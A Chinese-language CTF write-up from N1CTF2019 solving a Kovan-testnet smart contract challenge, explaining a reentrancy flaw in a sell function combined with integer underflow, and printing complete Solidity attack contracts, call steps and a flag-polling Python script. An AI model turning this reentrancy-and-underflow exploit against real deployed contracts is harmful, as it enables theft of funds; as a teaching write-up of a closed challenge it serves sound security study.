前言
前段时间参加了一下N1CTF2019(作为小白参加),很幸运做出一道Smart Contract的题目,在此记录一下,合约地址如下:
https://kovan.etherscan.io/address/0xe2d6d8808087d2e30eadf0acb67708148dbee0c0
Contract Code
1 | /** |
分析
题目的要求是
execute the winnerSubmit function
1
2
3
4
5
6
7function winnerSubmit() public returns (bool success){
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
winner[msg.sender] = true;
emit Win(msg.sender,true);
return true;
}这里有两个
require
,其中第一个require
很容易满足,创建winner
的时候默认全为false
,所以只要满足第二个require
即可require(winner[msg.sender] == false)
;require(sellTimes[msg.sender] > 100)
;
阅读合约代码,发现
sell
函数,这里的msg.sender.call.value(_amount)()
存在Reentrancy
漏洞,同时可以使得sellTimes[msg.sender] -= 1
,如果能产生下溢就行了,所以需要找一下初始化sellTimes[msg.sender]
的地方,但是这里有4个require:- 第一个
require
很容易满足 - 第二个
require
可以看下面的buy
函数分析 - 第三个
require
可以使用薅羊毛攻击方法,使得balanceOf[msg.sender]
达到指定数额 - 第四个
require
自动满足,address(this).balance
给的很大1
2
3
4
5
6
7
8
9
10function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}
- 第一个
找到了
buy
函数,可以使得sellTimes[msg.sender] = 1
,这里有两个require
,第一个很容易满足,默认就是0
,所以只要msg.value == 1 wei
即可,这样的话buy
函数就可以改变sellTimes[msg.sender]
为1
了1
2
3
4
5
6
7function buy() payable public returns (bool success){
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
_transfer(address(this), msg.sender, 1);
sellTimes[msg.sender] = 1;
return true;
}这样的话,如果利用
buy
函数先使得sellTimes[msg.sender]=1
,然后调用sell
函数利用Reentrancy
漏洞重入攻击两次的话,sellTimes[msg.sender]
是uint256
类型,连续两次减1
可以下溢,远远大于100
,便可满足winnerSubmit
中的第二个require
,攻击成功
部署攻击合约
攻击合约代码
这里部署了两个合约(不要在意命名了23333),hacker是攻击合约,hacker1是辅助合约,用来完成薅羊毛转账用到的,
- 注意在部署hacker的同时转账
1 wei
,目的是调用后面的buy
函数 - 部署hacker1的同时转账
200 wei
,目的是完成后面薅羊毛转账,若amount=100 wei
,则可以Reentrancy
攻击两次,完成攻击1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53contract hacker {
address instance_address = 0xe2d6d8808087d2e30eadf0acb67708148dbee0c0;
challenge target = challenge(instance_address);
function hacker() payable {}
function hack1(){
target.buy.value(1)();
}
function hack4(){
target.sell(uint(100));
}
function get() public view returns (uint256 balance) {
return address(this).balance;
}
function hack5(){
target.winnerSubmit();
}
function() public payable {
target.sell(uint(100));
}
}
contract hacker1 {
address instance_address = 0xe2d6d8808087d2e30eadf0acb67708148dbee0c0;
challenge target = challenge(instance_address);
function hacker1() payable {}
function hack1(){
target.buy.value(1)();
}
function hack2(){
target.transfer(address(0x5ebec5286e74362613a5e6e8e3bb90df408fe2a7), 1);
}
function hack3(){
for(uint i = 0; i<100; i++){
hack1();
hack2();
}
}
function get() public view returns (uint256 balance) {
return address(this).balance;
}
}
调用步骤
攻击合约地址0x48e3c62a006758d26b3ded0f4e28317fe0ea9dc8
薅羊毛辅助合约地址0x334e9e1c289be32000182e549fbadf27589b436e
- 调用hacker的
hack1
函数,使得sellTimes[address hacker]=1
,balanceOf[address hacker]=1 wei
- 调用hacker1的
hack3
函数两次,使得balanceOf[address hacker]+200=201
- 调用hacker的
hack4
函数两次,每次amount=100
,这样便使得sellTimes[address hacker]
完成下溢,可以看到sellTimes[address hacker]
已经下溢到一个很大的数 - 最后调用hacker的
hack5
调用winnerSubmit
完成攻击
(主办方服务已关闭23333所以没法看到flag
,只有当时被搅屎棍搞过的一张截图了,一直拿不到flag
,最后发现flag
只有在请求的那一瞬间会出现而且仅出现一次,请原谅我不会利用web3
自动化模拟攻击,不过最后还是解决了,写了个脚本,一直请求就可以,成功拿到了flag
,脚本如下)1
2
3
4
5
6import requests
url="http://47.244.41.61/challenge?address=0x48e3c62a006758d26b3ded0f4e28317fe0ea9dc8"
while True:
print requests.get(url).content.split("alert")[1].split("script")[0]